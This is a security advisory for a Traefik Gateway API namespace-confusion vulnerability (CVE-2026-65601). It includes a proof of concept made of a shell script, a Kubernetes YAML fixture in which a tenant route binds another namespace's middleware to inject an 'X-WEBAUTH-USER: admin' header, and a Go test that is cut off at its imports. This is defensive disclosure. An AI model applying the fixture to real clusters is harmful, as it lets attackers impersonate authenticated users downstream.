GitHub Advisoryadvisory · Go

GHSA-qq9q-x9w4-chhj Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion

MEDIUM Published 2026-08-05 Modified 2026-08-05 Official page ↗
Aliases
CVE-2026-65601
Ecosystem
Go
Packages
Traefik
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Weaknesses
CWE-863
Reviewed
2026-08-05

Affected packages

• Go Traefik: >= 3.7.0, < 3.7.7 → fixed in 3.7.7

Description

Summary There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace. Patches • https://github.com/traefik/traefik/releases/tag/v3.7.7 For more information If you have any questions or comments about this advisory, please open an issue. Original Description Summary Traefik's Kubernetes Gateway API provider resolves `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state. Description Gateway API `ReferenceGrant` allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a `Service`. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace. In the affected code path, Traefik copies `backendRef.namespace` into a local `namespace` variable. It correctly uses that namespace to validate and load the backend `Service`, but then reuses the same namespace when resolving `backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension filters, the CRD provider turns `(namespace, name)` into a dynamic middleware reference such as: ```text platform-privileged-auth-header@kubernetescrd ``` As a result, a tenant route in `tenant-a` can bind a middleware named `privileged-auth-header` from the backend namespace `platform`, even though the Gateway API `ReferenceGrant` only granted access to `platform/protected-api` `Service`. Impact The PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to attach a backend-namespace `Headers` middleware to the generated backend service. The middleware injects: ```text X-WEBAUTH-USER: admin ``` That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication. This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary. Proof Of Concept Files run.sh ```bash !/usr/bin/env sh set -eu TARGET_REF="${TARGET_REF:-v3.7.5}" REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}" SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}" if [ "${KEEP_WORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi printf '[*] target_ref=%s\n' "$TARGET_REF" printf '[*] workdir=%s\n' "$WORKDIR" if [ -n "${TRAEFIK_SRC:-}" ]; then printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC" git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGET_REF" else printf '[*] cloning from remote: %s\n' "$REPO_URL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \ pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \ pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then sed -i \ -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \ -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \ pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go fi printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n' go test ./pkg/provider/kubernetes/gateway \ -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \ -count=1 -v printf 'POC_RESULT=PASS\n' ``` backendref_extension_filter_cross_namespace_poc.yml ```yaml --- apiVersion: v1 kind: Service metadata: name: protected-api namespace: platform spec: ports: • name: web protocol: TCP port: 80 targetPort: web --- kind: EndpointSlice apiVersion: discovery.k8s.io/v1 metadata: name: protected-api-abc namespace: platform labels: kubernetes.io/service-name: protected-api addressType: IPv4 ports: • name: web port: 8080 endpoints: • addresses: • 10.10.20.10 conditions: ready: true --- kind: GatewayClass apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway-class spec: controllerName: traefik.io/gateway-controller --- kind: Gateway apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway namespace: infra spec: gatewayClassName: shared-gateway-class listeners: • name: http protocol: HTTP port: 80 allowedRoutes: kinds: • kind: HTTPRoute group: gateway.networking.k8s.io namespaces: from: All --- kind: ReferenceGrant apiVersion: gateway.networking.k8s.io/v1beta1 metadata: name: allow-tenant-route-to-service namespace: platform spec: from: • group: gateway.networking.k8s.io kind: HTTPRoute namespace: tenant-a to: • group: "" kind: Service name: protected-api --- kind: HTTPRoute apiVersion: gateway.networking.k8s.io/v1 metadata: name: tenant-route namespace: tenant-a spec: parentRefs: • name: shared-gateway namespace: infra kind: Gateway group: gateway.networking.k8s.io hostnames: • attacker.example rules: • matches: • path: type: PathPrefix value: / backendRefs: • name: protected-api namespace: platform port: 80 kind: Service group: "" filters: • type: ExtensionRef extensionRef: group: traefik.io kind: Middleware name: privileged-auth-header ``` poc_gateway_extensionref_test.go ```go package gateway import ( "net/http" "net/http/httptest" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" "github.com/traefik/traefik/v3/pkg/middlewares/headers" traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1" kubefake "k8s.io/client-go/kubernetes/fake" )…

Related

Alias · CVE (1)

  • CVE-2026-65601 Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. vulnerability

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References